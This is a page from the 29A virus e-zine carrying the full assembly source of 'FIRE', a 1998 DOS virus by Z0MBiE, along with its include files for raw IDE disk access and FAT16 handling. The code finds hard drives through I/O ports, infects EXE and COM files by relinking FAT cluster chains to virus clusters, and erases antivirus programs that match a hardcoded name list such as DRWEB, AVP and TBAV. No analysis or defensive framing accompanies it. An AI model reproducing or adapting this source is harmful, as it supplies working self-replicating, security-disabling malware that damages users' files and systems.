Copy Link
Add to Bookmark
Report

29A Issue 03 06 02

eZine's profile picture
Published in 
29A
 · 4 years ago

  

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ

;-----------------------------------------------------------------------------
; [FIRE] FAT16 Independent Replicative Emulator Copyright (c) 1998 Z0MBiE
; Release 1.00[BETA] *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A ***
; Thanx to S.S.R. & LordASD HomePage: http://www.chat.ru/~z0mbie
;-----------------------------------------------------------------------------
;
; THIS VIRUS TECHNOLOGY DEDICATED TO 29A GROUP
;
; *** Program ***
;
; 1. Using IDE IO-port access method find all physical IDE drives
; 2. For each physical drive find all logical disks with FAT16 system
; 3. For each logical disk scan directory tree with selected
; max directory level
; 5. Delete all AV-files (by filemasks), including file name/cluster chain
; 6. Infect each EX?/CO? file (with selected min. size)
;
; *** Infection Method ***
;
; 1. Allocate some free cluster(s) in the FAT
; 2. FAT.LastOurCluster <- DirEntry.StartCluster
; 3. DirEntry.StartCluster <- 1stOurCluster
;

DEBUG equ YES ; debug mode

IFDEF DEBUG
START_DRIVE equ 'E' ; start scanning
ELSE ; from logical drive
START_DRIVE equ 'C'
ENDIF

virsize equ 16384 ; total virus size

o equ (word ptr 0) ; to access DWORDs
s equ (word ptr 2)

exe_struc struc ; dos exe header
exe_mz dw ? ; MZ/ZM
exe_last512 dw ?
exe_num512 dw ?
exe_relnum dw ?
exe_headersize dw ? ; in PAR
exe_minmem dw ?
exe_maxmem dw ?
exe_ss dw ?
exe_sp dw ?
exe_checksum dw ? ; 0
exe_ip dw ?
exe_cs dw ?
exe_relofs dw ?
exe_ovrnum dw ? ; 0
db 32 dup (?)
exe_neptr dd ?
ends

model tiny ; header
p386
jumps
locals __

code segment byte public use16;code segment
assume cs:code, ds:code, ss:code, es:code

org 100h
start:
virus: db 'MZ' ; lets generate .exe program
dw 0
dw virsize / 512
dw 0
dw 0
dw virmemory
dw virmemory
dw 0fff0h
dw exe_endofstack
dw 0
dw exe_entrypoint
dw 0fff0h
dw 40h
dw 0
db 32 dup (0)
dd 0

C_INFECTED_ID equ 1234h ; infected file ID
infected_id dw C_INFECTED_ID

FTYPE db ?

exe_entrypoint: mov ax, 1600h ; windows :-?
int 2fh

or al, al ; dos
jz DOS_START

cmp al, 4 ; win95...
je WIN4_START

; win3, etc.

EXIT: mov ax, 4c00h ; exit to DOS
int 21h

WIN4_START: jmp EXIT ; not implemented yet

win_msg db 'This program requires Microsoft Windows.',13,10,'$'

DOS_START: mov ah, 9 ; fucking message
lea dx, win_msg
int 21h

IFDEF DEBUG ; initialize PUTCHAR
mov cs:putchar_ptr, offset dos_putchar
ENDIF

call dos_alloc ; allocate memory (dos)
jc EXIT

call main ; main subprogram

call dos_dealloc ; deallocate memory

jmp EXIT ; exit

main: mov level0_drive, 0 ; scan HD: 0,1,2,3
__1: call process_0
inc level0_drive ; bit0 = master/slave
cmp level0_drive, 3 ; bit1 = primary/secondary
jbe __1
ret

process_0: call level0_init ; initialize hardware
jc __exit

IFDEF DEBUG ; fucking message
movzx ax, level0_drive
add al, '0'
push ax
call printf
db 'Processing physical drive %c\n$'
ENDIF

call level2_init ; recursive scan for logical
jc __exit ; disks

mov cx, START_DRIVE-'C' ; start drive

__1: cmp cx, level2_drivecount ; cycle
jae __exit
push cx

IFDEF DEBUG ; fucking message
mov ax, cx
add al, 'C'
push ax
call printf
db 'Processing logical drive %c:\n$'
ENDIF

mov level2_drive, cx ; initialize "basesector"
call level2_initdrive

call level3_init ; initialize level3-access
jc __2

IFDEF DEBUG ; fucking message
call printf
db 'Compatibility test done\n$'
ENDIF

call rulez_forever ; best subprogram in the world

__2: IFDEF DEBUG ; fucking message
call printf
db 'Drive processed\n$'
ENDIF

pop cx ; end of cycle
inc cx
jmp __1

__exit: ret

; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

; recursive scan directory tree

rulez_forever: IFDEF DEBUG ; fucking message
call printf
db 'Executing RULEZ_FOREVER\n$'
ENDIF

mov _rec, 0 ; recurse level
mov bp, ROOT ; start from ROOT directory
call process_dir

IFDEF DEBUG ; fucking message
call printf
db 'RULEZ_FOREVER Executed\n$'
ENDIF

ret

; this is recursive subprogram

process_dir: IFDEF DEBUG ; fucking message
push _rec
push bp
call printf
db 'Executing PROCESS_DIR [cluster %iw04h0], RECURSIVE %iw00d\n$'
ENDIF

call __read ; read directory cluster (bp)

lgs si, dir_ptr ; gs:si = directory cluster

mov ecx, level3_sectpercluster ; cx=#direntries
shl cx, 4

__cycle:
; check for valid filename

cmp gs:[si].direntry_name, char_DELETED
je __cont
cmp gs:[si].direntry_name, char_NOFILE
je __exit

; check for AV filename, CF=1 - file is fucked
call TRY_TO_FUCK_FILE
jc __cont

; zero-length file or directory link to ROOT
cmp gs:[si].direntry_cluster, 0 ; zero-file
je __cont

; file attribute
mov al, gs:[si].direntry_attr

test al, fa_volumeid ; volumeid, long-filename
jnz __cont

test al, fa_directory ; directory?
jnz __directory

; yes! file!

MINSIZE equ 1024
cmp gs:[si].direntry_size, MINSIZE ; check size
jb __cont

; normal attributes?
test al, not (fa_archive + fa_hidden + fa_system + fa_readonly)
jz __file

__cont: add si, 32 ; cycle
loop __cycle

; flush directory cluster if modified
call TRY_TO_FLUSH_DIR_CACHE

; root? - exit!
cmp bp, ROOT
je __exit

; READ NEXT DIRECTORY CLUSTER

mov bx, bp ; get nextcluster value
call level3_cluster_get

cmp ax, EOF ; end of directory?
je __exit

mov bp, ax ; process next dircluster
jmp process_dir

__exit: ; flush directory cluster if modified
call TRY_TO_FLUSH_DIR_CACHE

ret

__file: IFDEF DEBUG ; fucking message
push word ptr gs:[si].direntry_cluster
push gs
push si
call printf
db '%s11 %iw04h0\n$'
ENDIF

; get extension

mov ax, word ptr gs:[si].direntry_ext

cmp ax, 'XE'
je __ext_ok
cmp ax, 'OC'
je __ext_ok

jmp __cont

__ext_ok: IFDEF DEBUG ; fucking message
call printf
db 'Extension checked - OK\n$'
ENDIF

; read 1st file cluster
pusha
mov ax, gs:[si].direntry_cluster
mov level3_cluster, ax
mov level3_count, 1
push buf_ptr
pop level3_ptr
call level3_read
popa

; fs:bx = @file cluster
lfs bx, buf_ptr

; "INFECTED" id ?
cmp word ptr fs:[bx + infected_id-virus], C_INFECTED_ID
je __cont

; determine com or exe file
cmp fs:[bx].exe_mz, 'MZ'
je __mz
cmp fs:[bx].exe_mz, 'ZM'
je __mz
mov FTYPE, 'c'
jmp __not_mz
__mz: mov FTYPE, 'e'
__not_mz:

IFDEF DEBUG ; hehe... be curefull!
pusha
lea si, fs:[bx].byte ptr 20h
lea di, z0mbie_id
mov cx, z0mbie_id_len
segfs
rep cmpsb
popa
jne __cont
ENDIF

__super_infect: IFDEF DEBUG ; fucking message
call printf
db '*** Executing SUPER_INFECT ***\n$'
ENDIF

; now infect fucking file...

pushad

; calculate bytes per cluster
mov eax, level3_sectpercluster
shl eax, 9
mov __cluster_size, eax

; calculate # of clusters needed

xor eax, eax
__rep: inc eax

mov ecx, eax
imul ecx, __cluster_size

cmp ecx, virsize
jb __rep

mov __clust_need, eax

; increase file size

add gs:[si].direntry_size, ecx

; lfs bx, buf_ptr
; add ecx, fs:[bx].exe_neptr
; mov neptr, ecx

; store dircluster
mov bx, gs:[si].direntry_cluster
mov __dircluster, bx

; pointer to virus
mov level3_ptr.o, offset virus
mov level3_ptr.s, cs

; NOW CREATE CLUSTER CHAIN

xor bx, bx ; no cluster

__next_cluster: call __find_free_cluster ; find free cluster
jc __infected

mov ax, __freecluster ; write virus part
mov level3_cluster, ax ; to this cluster
mov level3_count, 1
call level3_write

mov eax, __cluster_size ; increase virus pointer
shr eax, 4 ; by cluster size
add level3_ptr.s, ax

mov ax, __freecluster

or bx, bx
jnz __not1st

mov __1stcluster, ax ; 1st cluster
mov bx, ax ; temporary init with EOF
mov ax, EOF

__not1st: call level3_cluster_set ; used to create links

mov bx, __freecluster

dec __clust_need ; end of cycle
jnz __next_cluster

mov ax, __dircluster ; set link to dircluster
call level3_cluster_set

mov ax, __1stcluster ; set new dircluster
mov gs:[si].direntry_cluster, ax

mov CACHE_MODIFIED, 1 ; of coz cache now modified

__infected: popad ; thats all!!!
jmp __cont

__1stcluster dw ? ; some vars used in infection
__cluster_size dd ?
__clust_need dd ?
__dircluster dw ?
__freecluster dw ?

__find_free_cluster: pushad ; subprogram to find free cluster
mov bx, 2 ; scan all clusters
__q: call level3_cluster_get
or ax, ax
jz __found
inc bx
cmp bx, word ptr level3_totalclusters
jae __no_free_cluster
jmp __q
__found: mov __freecluster, bx
popad
clc ; sucess
ret
__no_free_cluster: popad
stc ; mustdie
ret

; if found directory

__directory: IFDEF DEBUG ; fucking message
push word ptr gs:[si].direntry_cluster
push gs
push si
call printf
db '%s11 %iw04h0% <DIRECTORY>\n$'
ENDIF

; '.' and '..' is sux
cmp gs:[si].direntry_name, '.'
je __cont

; check for max recurse level
MAX_RECURSIVE equ 5
cmp _rec, MAX_RECURSIVE
jae __cont

; flush cache if modified
call TRY_TO_FLUSH_DIR_CACHE

; scan directory
pushad

inc _rec

mov bp, gs:[si].direntry_cluster
call process_dir

dec _rec

popad

; read directory cluster (becoz its modified)
call __read

IFDEF DEBUG ; fucking message
call printf
db 'Back from recursive subprogram\n$'
ENDIF

jmp __cont

; read directory cluster

__read: mov level3_cluster, bp
mov level3_count, 1
push dir_ptr
pop level3_ptr
call level3_read

mov CACHE_MODIFIED, 0
ret

; write directory cluster if modified

TRY_TO_FLUSH_DIR_CACHE: cmp CACHE_MODIFIED, 0
je __exit
mov CACHE_MODIFIED, 0

mov level3_cluster, bp
mov level3_count, 1
push dir_ptr
pop level3_ptr
call level3_write

__exit: ret

; ---------------------------------------------------------------------------

; input: GS:[SI]
; output: CF=1 - file fucked

; scan for AV-files

TRY_TO_FUCK_FILE: pushad

; hehe.. DRWEB 4.00!
cmp gs:[si].direntry_time, 2000h ; 4:00 am
je __fuck_it

lea di, fucked

__next_f: pusha
xor bx, bx
__next: mov al, [bx+di]
cmp al, '?'
je __equ
mov ah, gs:[si+bx]
cmp ah, 'a'
jb __cmp
cmp ah, 'z'
ja __cmp
add ah, 'A'-'a'
__cmp: cmp al, ah
jne __rt
__equ: inc bx
cmp bx, 11
jb __next
; e
__rt: popa
je __fuck_it

add di, 11
cmp di, offset fucked_end
jb __next_f

popad

clc
ret

; FUCK AV-file

__fuck_it: mov CACHE_MODIFIED, 1

mov bx, gs:[si].direntry_cluster

; kill namme
mov di, si
mov cx, 32
__1: mov byte ptr gs:[di], 0
inc di
loop __1
mov gs:[si].direntry_name, char_DELETED

or bx, bx ; zero-file
je __eof

; kill cluster links

__killnext: call level3_cluster_get

pusha
xor ax, ax
call level3_cluster_set
popa

cmp ax, EOF
je __eof

mov bx, ax
jmp __killnext

__eof:

popad

stc
ret

; ---------------------------------------------------------------------------

; AV-files - KILL`EM ALL !!!

fucked: db 'ANTI???????'
db 'DRWEB??????'
db 'WEB?????EXE'
db 'AIDS???????'
db 'AVP????????'
db 'SCAN???????'
db 'ADIN???????'
db 'FPROT??????'
db 'TBAV???????'
db 'VIR????????'
db '????????327'
db '????????AVC'
db '????????WEB'
db '????????MS '
db '????????CPS'
fucked_end:

; ---------------------------------------------------------------------------

IFDEF DEBUG ; dont kill your hd, baby...
z0mbie_id db 'Z0MBiE#ID1234'
z0mbie_id_len equ $-z0mbie_id
ENDIF

; ---------------------------------------------------------------------------

; never change it, sucker...

db 13,10
db '-----------------------------------------------------------------------------',13,10
db ' [FIRE] FAT16 Independent Replicative Emulator Copyright (c) 1998 Z0MBiE ',13,10
db ' Release 1.00[BETA] *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A *** ',13,10
db ' Thanx to S.S.R. & LordASD HomePage: http://www.chat.ru/~z0mbie ',13,10
db '-----------------------------------------------------------------------------',13,10
db 13,10

; ---------------------------------------------------------------------------

include malloc.inc ; <- dos memory allocation
include fatsys.inc ; <- file system emulator

IFDEF DEBUG ; <- screen output routines
include stdio.inc
ENDIF

; end of virus (EOV) mark
org start+virsize-3
db 'EOV'
codeend:

; ---------------------------------------------------------------------------

datastart:
; stack
even
db 1024 dup (?)
exe_endofstack:

; variables
include FATSYS.VAR

_rec dw ? ; recurse level
CACHE_MODIFIED db ? ; flag

; thats all
dataend:
virmemory equ (dataend-datastart+15)/16

; ---------------------------------------------------------------------------

code ends
end start

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[1.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[malloc.asm]ÄÄ

dos_alloc: mov ah, 48h
mov bx, 2000h
int 21h
jc __exit
mov dosalloc_seg, ax
mov dir_ptr.o, 0
mov dir_ptr.s, ax
add ax, 1000h
mov buf_ptr.o, 0
mov buf_ptr.s, ax
__exit: ret

dos_dealloc: mov ah, 49h
mov es, dosalloc_seg
int 21h
push cs
pop es
ret
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[malloc.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.inc]ÄÄ

; filesystem access unit

; Access Address
; Method Type Target Start
; -------- -------- ----------- -----------
; Level 0: IO-Ports Physical HD c=0:h=0:s=1
; Level 1: Level0 Logical HD s=0
; Level 2: Level1 Logical Partition s=0
; Level 3: Level2 Logical FAT,Cluster cluster=2



;MIN_SECT_PER_CLUST equ 8 ; 4k MIN
MAX_SECT_PER_CLUST equ 128 ; 64k MAX

direntry_name equ (byte ptr 00h) ; directory entry
direntry_ext equ (byte ptr 08h)
direntry_attr equ (byte ptr 0Bh)
direntry_time equ (word ptr 16h)
direntry_cluster equ (word ptr 1Ah)
direntry_size equ (dword ptr 1Ch)

char_DELETED equ 0E5h ; some constants
char_NOFILE equ 0

fa_readonly equ 00000001b ; file attributes
fa_hidden equ 00000010b
fa_system equ 00000100b
fa_volumeid equ 00001000b
fa_directory equ 00010000b
fa_archive equ 00100000b

ROOT equ 0 ; root dir cluster
EOF equ -1 ; EOF cluster

; ---------------------------------------------------------------------------

level0_getcmdport: mov dx, 1F7h ; master
test level0_drive, 10b
jz __1
mov dx, 177h ; slave
__1: ret

level0_calcdrive: xor al, al ; primary/secondary
bt word ptr level0_drive, 0
rcl al, 5
or al, 10100000b
ret

level0_init: call level0_getcmdport

__1: in al, dx ; busy
test al, 00000001b
jnz __error
test al, 10000000b
jnz __1

dec dx ; drive #
call level0_calcdrive
out dx, al

inc dx ; ready
xor cx, cx
__2: dec cx
jz __error
in al, dx
test al, 00000001b
jnz __error
test al, 01000000b
jz __2

mov al, 0ECh ; indentify drive
out dx, al

__3: in al, dx ; data
test al, 00000001b
jnz __error
test al, 00001000b
jz __3

sub dl, 7 ; read
lea di, level0_driveinfo
mov cx, 256/2
rep insw

clc
ret

__error: stc
ret

level0_read: call io_mask

call level0_rw
jc __error

mov al, 20h ; read
out dx, al

mov si, level0_count
les di, level0_ptr

__3: in al, dx ; data
test al, 00000001b
jnz __error
test al, 00001000b
jz __3

sub dl, 7

mov cx, 512/2 ; read
rep insw

add dl, 7

dec si
jnz __3

push cs
pop es

call io_unmask

clc
ret

__error: call io_unmask

stc
ret

level0_write: call io_mask

call level0_rw
jc __error

mov al, 30h ; write
out dx, al

mov di, level0_count
les si, level0_ptr

__3: in al, dx ; ready?
test al, 00000001b
jnz __error
test al, 00001000b
jz __3

sub dl, 7

mov cx, 512/2 ; write
seges
rep outsw

add dl, 7

dec di
jnz __3

push cs
pop es

call io_unmask

clc
ret

__error: call io_unmask

stc
ret

io_mask: in al, 21h
mov level0_port21, al
in al, 0A1h
mov level0_portA1, al
mov al, 0FFh
out 21h, al
out 0A1h, al
ret

io_unmask: mov al, level0_port21
out 21h, al
mov al, level0_portA1
out 0A1h, al
ret

level0_rw: call level0_getcmdport

__1: in al, dx
test al, 00000001b
jnz __error
test al, 10000000b
jnz __1

sub dl, 5 ; sector count
mov al, byte ptr level0_count
out dx, al

inc dx ; sector
mov al, byte ptr level0_sector
out dx, al

inc dx ; cylinder - lo
mov ax, level0_cylinder
out dx, al

inc dx ; cylinder - hi
mov al, ah
out dx, al

inc dx ; drive #
call level0_calcdrive
or al, byte ptr level0_head
out dx, al

inc dx ; ready
__2: in al, dx
test al, 00000001b
jnz __error
test al, 01000000b
jz __2

clc
ret

__error: stc
ret

; ---------------------------------------------------------------------------

level1_read: call level1_rw

call level0_read

ret

level1_write: call level1_rw

call level0_write

ret

level1_rw: push level1_ptr
pop level0_ptr

mov ax, level1_count
mov level0_count, ax

mov eax, level1_sector
cdq
movzx ecx, level0_max_sector
div ecx
inc dx
mov level0_sector, dx
xor edx, edx
movzx ecx, level0_max_head
div ecx
mov level0_head, dx
mov level0_cylinder, ax

ret

; ---------------------------------------------------------------------------

level2_init: mov level2_drivecount, 0
lea di, level2_drivestart

xor ebp, ebp
call level2_recscan

clc
ret

level2_recscan: call __read

cmp level2_mbr.word ptr 512-2, 0AA55h
jne __exit

lea si, level2_mbr + 512 - 2 - 64
mov cx, 4

__scan_ptable: push cx
push si

mov al, [si].byte ptr 4

; cmp al, 1 ; fat12
; je __found_drive

cmp al, 4 ; fat16
je __found_drive
cmp al, 6 ; bigdos
je __found_drive

cmp al, 5 ; extended
je __found_ext

__scan_next: pop si
pop cx

cmp level2_drivecount, 26
jae __exit

add si, 16
loop __scan_ptable

__exit: ret

__read: pushad

mov level1_sector, ebp
mov level1_count, 1
mov level1_ptr.o, offset level2_mbr
mov level1_ptr.s, cs
call level1_read

popad
ret

__found_drive: mov eax, [si].dword ptr 8
add eax, ebp

; scan drives to avoid recursive extended
pusha
lea di, level2_drivestart
mov cx, level2_drivecount
repnz scasd
popa
jz __scan_next

inc level2_drivecount
stosd

jmp __scan_next

__found_ext: push ebp
add ebp, [si].dword ptr 8

call level2_recscan

pop ebp

call __read

jmp __scan_next

level2_initdrive: mov bx, level2_drive
shl bx, 2
push level2_drivestart[bx]
pop level2_basesector
ret

level2_read: call level2_rw

call level1_read

ret

level2_write: call level2_rw

call level1_write

ret

level2_rw: push level2_ptr
pop level1_ptr

mov eax, level2_sector
add eax, level2_basesector
mov level1_sector, eax

push level2_count
pop level1_count

ret

; ---------------------------------------------------------------------------

level3_init: mov level2_sector, 0
mov level2_count, 1
mov level2_ptr.o, offset level3_boot
mov level2_ptr.s, cs
call level2_read
jc __error

lea bx, level3_boot

cmp [bx].word ptr 512-2, 0AA55h
jne __error

lea si, [bx].byte ptr 36h
lea di, FAT16_ID
mov cx, 8
rep cmpsb
je __FAT16

jmp __error

__FAT16: movzx eax, [bx].word ptr 0Eh
mov level3_reserved, eax

xor eax, eax

mov al, [bx].byte ptr 0Dh
mov level3_sectpercluster, eax

; cmp eax, MIN_SECT_PER_CLUST
; jb __error
cmp eax, MAX_SECT_PER_CLUST
ja __error

mov al, [bx].byte ptr 10h
mov level3_fatcopies, eax

mov ax, [bx].word ptr 11h
mov level3_rootdirentries, eax

shl eax, 5
add eax, 511
shr eax, 9
mov level3_rootdirsectors, eax

cmp eax, MAX_SECT_PER_CLUST
ja __error

movzx eax, [bx].word ptr 16h
mov level3_sectperfat, eax

mov eax, level3_sectperfat
imul eax, level3_fatcopies
add eax, level3_reserved
mov level3_rootstart, eax
add eax, level3_rootdirsectors
mov level3_datastart, eax

movzx eax, [bx].word ptr 13h
or ax, ax
jnz __1
mov eax, [bx].dword ptr 20h
__1: mov level3_totalsectors, eax

sub eax, level3_datastart
xor edx, edx
mov ecx, level3_sectpercluster
div ecx
mov level3_totalclusters, eax

mov level3_cachesector, -1

clc
ret

__error: stc
ret

; input: bx=cluster
; output: ax=value

level3_cluster_get: call level3_read_fat_sector

push bx
call level3_calcfat_LO
mov ax, word ptr level3_cache[bx]
pop bx

ret

; input: bx=cluster
; ax=value

level3_cluster_set: call level3_read_fat_sector

push bx
call level3_calcfat_LO
mov word ptr level3_cache[bx], ax
pop bx

call level3_write_fat_sector

ret

level3_calcfat_HI: movzx eax, bx ; fat sector #
shr eax, 8
ret

level3_calcfat_LO: and bx, 255
shl bx, 1
ret

; input: ebx=cluster #

level3_read_fat_sector: pushad

call level3_calcfat_HI
add eax, level3_reserved ; partition sector #

cmp level3_cachesector, eax
je __skip
mov level3_cachesector, eax

mov level2_sector, eax
mov level2_count, 1
mov level2_ptr.o, offset level3_cache
mov level2_ptr.s, cs
call level2_read

__skip: popad
ret

level3_write_fat_sector:pushad

call level3_calcfat_HI
add eax, level3_reserved ; partition sector #

mov level2_sector, eax
mov level2_count, 1
mov level2_ptr.o, offset level3_cache
mov level2_ptr.s, cs

mov ecx, level3_fatcopies

__1: pushad
call level2_write
popad

mov eax, level3_sectperfat
add level2_sector, eax

loop __1

popad
ret

level3_read: pushad

call level3_calc
call level2_read

popad
ret

level3_write: pushad

call level3_calc
call level2_write

popad
ret

level3_calc: push level3_ptr
pop level2_ptr

cmp level3_cluster, ROOT
je __root

movzx eax, level3_count
imul eax, level3_sectpercluster
mov level2_count, ax

movzx eax, level3_cluster
sub eax, 2
xor edx, edx
mov ecx, level3_sectpercluster
mul ecx
add eax, level3_datastart
mov level2_sector, eax

ret

__root: mov eax, level3_rootdirsectors
mov level2_count, ax

mov eax, level3_rootstart
mov level2_sector, eax

ret

; ---------------------------------------------------------------------------

FAT16_ID db 'FAT16 '

; ---------------------------------------------------------------------------

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[stdio.inc]ÄÄ

; \n 13,10
; $ = end of line
; %% %
; \\ \

; %c character

; %sNN string (DWORD PTR)
; %sz ascii-z string (DWORD PTR)

; %i[-]bNNb? ?=lchar, used only if NN <> 0
; w d
; d h
;

; ---------------------------------------------------------------------------

_get_char_ macro
segcs lodsb
cmp al, '$'
je __exit
endm

printf: mov cs:_save_si, si
pop si
mov cs:_save_eax, eax
mov cs:_save_cx, cx
cld

__getchar: _get_char_

cmp al, '%'
je __control_1
cmp al, '\'
je __control_2

__putchar: call cs:putchar_ptr

jmp __getchar

__exit: mov eax, cs:_save_eax
mov cx, cs:_save_cx
push si
mov si, cs:_save_si
ret

__control_1: _get_char_

cmp al, '%'
je __putchar

cmp al, 'c'
je __c
cmp al, 's'
je __s
cmp al, 'i'
je __n

jmp __putchar

__s: _get_char_

cmp al, 'z'
je __sz

sub al, '0'
mov ah, al
_get_char_
sub al, '0'
aad 10
movzx eax, ax
mov cs:_len, eax

mov cs:_s_si, si
mov cs:_s_ds, ds
pop si
pop ds
mov ecx, cs:_len
jcxz __a1
__a2: lodsb
call cs:putchar_ptr
loop __a2
__a1: mov si, cs:_s_si
mov ds, cs:_s_ds

jmp __getchar

__sz:
mov cs:_s_si, si
mov cs:_s_ds, ds
pop si
pop ds
__b2: lodsb
or al, al
jz __b1
call cs:putchar_ptr
jmp __b2
__b1: mov si, cs:_s_si
mov ds, cs:_s_ds

jmp __getchar

__c: pop ax
call cs:putchar_ptr
jmp __getchar

__n: mov cs:_sign, 0
_get_char_
cmp al, '-'
je __ns
jmp __nu

__ns: mov cs:_sign, 1
_get_char_

__nu: cmp al, 'b'
je __b
cmp al, 'w'
je __w
cmp al, 'd'
je __d

jmp __putchar

__b: cmp cs:_sign, 1
je __bs
pop ax
movzx ax, al
movzx eax, ax
jmp __i

__w: cmp cs:_sign, 1
je __ws
pop ax
movzx eax, ax
jmp __i

__d: cmp cs:_sign, 1
je __ds
pop eax
jmp __i

__bs: pop ax
movsx ax, al
movsx eax, ax
jmp __i

__ws: pop ax
movsx eax, ax
jmp __i

__ds: pop eax
jmp __i

__i: mov cs:_number, eax

_get_char_
sub al, '0'
mov ah, al
_get_char_
sub al, '0'
aad 10
movzx eax, ax
mov cs:_len, eax

_get_char_

mov cs:_base, 2
cmp al, 'b'
je __ok
mov cs:_base, 10
cmp al, 'd'
je __ok
mov cs:_base, 16
cmp al, 'h'
je __ok

jmp __putchar

__ok: cmp cs:_len, 0
je __ok2
_get_char_
mov cs:_lchar, al
__ok2:
call write_number
jmp __getchar

__control_2: _get_char_

cmp al, 'n'
je __crlf

jmp __putchar

__crlf: mov al, 13
call cs:putchar_ptr
mov al, 10
call cs:putchar_ptr

jmp __getchar

; ---------------------------------------------------------------------------

dos_putchar: pusha
mov ah, 2
mov dl, al
int 21h
popa
ret

boot_putchar: pusha
mov ah, 0Eh
mov bx, 7
int 10h
popa
ret

; ---------------------------------------------------------------------------

write_number: pushad

mov eax, cs:_number
cmp cs:_sign, 0
je __0
or eax, eax
jge __0
mov cs:_sign, '-'
dec cs:_len
neg eax

__0: mov ebx, cs:_base
xor esi, esi
__1: xor edx, edx
div ebx
push edx
inc esi
or eax, eax
jnz __1

cmp cs:_sign, '-'
jne __6
cmp cs:_len, 0
je __6a
cmp cs:_lchar, ' '
je __6
__6a: mov al, '-'
call cs:putchar_ptr
__6:

mov ecx, cs:_len
sub ecx, esi
jle __3
__2: mov al, cs:_lchar
call cs:putchar_ptr
loop __2
__3:
cmp cs:_sign, '-'
jne __5
cmp cs:_lchar, ' '
jne __5
mov al, '-'
call cs:putchar_ptr
__5:

mov ecx, esi
__4: pop ebx
mov al, cs:hexchar[bx]
call cs:putchar_ptr
loop __4

popad
ret

; ---------------------------------------------------------------------------

hexchar db '0123456789ABCDEF'

; ---------------------------------------------------------------------------

putchar_ptr dw ?

_s_si dw ?
_s_ds dw ?
_save_eax dd ?
_save_cx dw ?
_save_si dw ?
_sign db ?
_number dd ?
_base dd ?
_len dd ?
_lchar db ?

; ---------------------------------------------------------------------------

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[stdio.inc]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.var]ÄÄ

; ---------------------------------------------------------------------------

level0_drive db ?

level0_driveinfo db 256 dup (?)
level0_max_cylinder equ level0_driveinfo.word ptr 02h
level0_max_head equ level0_driveinfo.word ptr 06h
level0_max_sector equ level0_driveinfo.word ptr 0Ch

level0_cylinder dw ?
level0_head dw ?
level0_sector dw ?
level0_count dw ?
level0_ptr dd ?

level0_port21 db ?
level0_portA1 db ?

; ---------------------------------------------------------------------------

level1_sector dd ?
level1_count dw ?
level1_ptr dd ?

; ---------------------------------------------------------------------------

level2_drivecount dw ?
level2_drivestart dd 26 dup (?)

level2_drive dw ?
level2_basesector dd ?

level2_sector dd ?
level2_count dw ?
level2_ptr dd ?

level2_mbr db 512 dup (?)

; ---------------------------------------------------------------------------

level3_boot db 512 dup (?)

level3_reserved dd ?
level3_sectperfat dd ?
level3_fatcopies dd ?
level3_rootdirentries dd ?
level3_rootdirsectors dd ?
level3_sectpercluster dd ?
level3_rootstart dd ?
level3_datastart dd ?
level3_totalsectors dd ?
level3_totalclusters dd ?

level3_cachesector dd ?
level3_cache db 512 dup (?)

level3_cluster dw ?
level3_count dw ?
level3_ptr dd ?

; ---------------------------------------------------------------------------

dosalloc_seg dw ?

dir_ptr dd ?
buf_ptr dd ?

; ---------------------------------------------------------------------------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fatsys.var]ÄÄ

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT